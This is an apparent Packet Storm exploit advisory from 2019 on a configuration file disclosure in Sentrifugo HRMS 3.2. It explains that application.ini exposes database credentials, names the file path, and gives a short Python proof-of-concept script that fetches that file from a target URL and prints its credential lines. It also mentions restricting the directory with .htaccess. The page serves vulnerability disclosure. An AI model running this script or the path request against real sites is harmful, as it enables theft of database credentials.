what you don't know can hurt you

Sentrifugo Human Resource Management System 3.2 File Disclosure

Sentrifugo Human Resource Management System 3.2 File Disclosure
Posted May 1, 2019
Authored by KingSkrupellos

Sentrifugo Human Resource Management System version 3.2 suffers from a database configuration file disclosure vulnerability.

tags | exploit, info disclosure
MD5 | 0a345463685c9efdf1b45a291f01772d

Sentrifugo Human Resource Management System 3.2 File Disclosure

Change Mirror Download
######################################################################

# Exploit Title : Sentrifugo Human Resource Management System 3.2
Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/05/2019
# Vendor Homepage : sentrifugo.com
# Software Download Link : sentrifugo.com/downloadzip/1556734875
github.com/sapplica/sentrifugo/archive/master.zip
# Software Affected Versions : 1.1.1 - 1.1.7 - 2.0.1 Beta - 2.1.1 -
3.1.1 and 3.2
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

######################################################################

# Information about Software :
***************************
Sentrifugo is a FREE and powerful Human Resource Management System

(HRMS) that can be easily configured to meet your organizational needs.

#####################################################################

# Impact :
***********
Sentrifugo Human Resource Management System 3.2 configuration file may
potentially

disclose sensitive information to remote attackers.

The username and password of the database may be obtained trough the
"application.ini" file.

This is going to have an impact on confidentiality, integrity, and availability.

The configuration file unintentionally stored in
/application/configs/application.ini

HTTP requests consisting of a single character will cause the software
to disclose sensitive

configuration information, including the password/database to the
administrative web interface.

This file is installed, by default, with world readable and possibly
world writeable permissions enabled.

This may have some potentially serious consequences as the configuration file

also stores password information in plain text.

This issue occurs because access controls on configuration files are
not properly set.

An attacker can exploit this issue to retrieve potentially sensitive
information.

Attackers can access config file via URL request. This may aid in
further attacks.

The access to the /configs directory should be restricted with an adequate

countermeasure by the use of a .htaccess file.

* The product stores sensitive information in files or directories
that are accessible to actors

outside of the intended control sphere.

* An information exposure is the intentional or unintentional
disclosure of information to an actor

that is not explicitly authorized to have access to that information.

Installation Guide for Windows - Linux - MacOSX =>
sentrifugo.com/installation-guide

#####################################################################

# Database Configuration File Disclosure Exploit :
*******************************************
/application/configs/application.ini

Information :
*************
resources.db.adapter = PDO_MYSQL
resources.db.params.host = SENTRIFUGO_HOST
resources.db.params.username = SENTRIFUGO_USERNAME
resources.db.params.password = SENTRIFUGO_PASSWORD
resources.db.params.dbname = SENTRIFUGO_DBNAME
resources.db.isDefaultTableAdapter = true

Exploit - Proof of Concept :
**************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/application/configs/application.ini"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

#####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    14 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close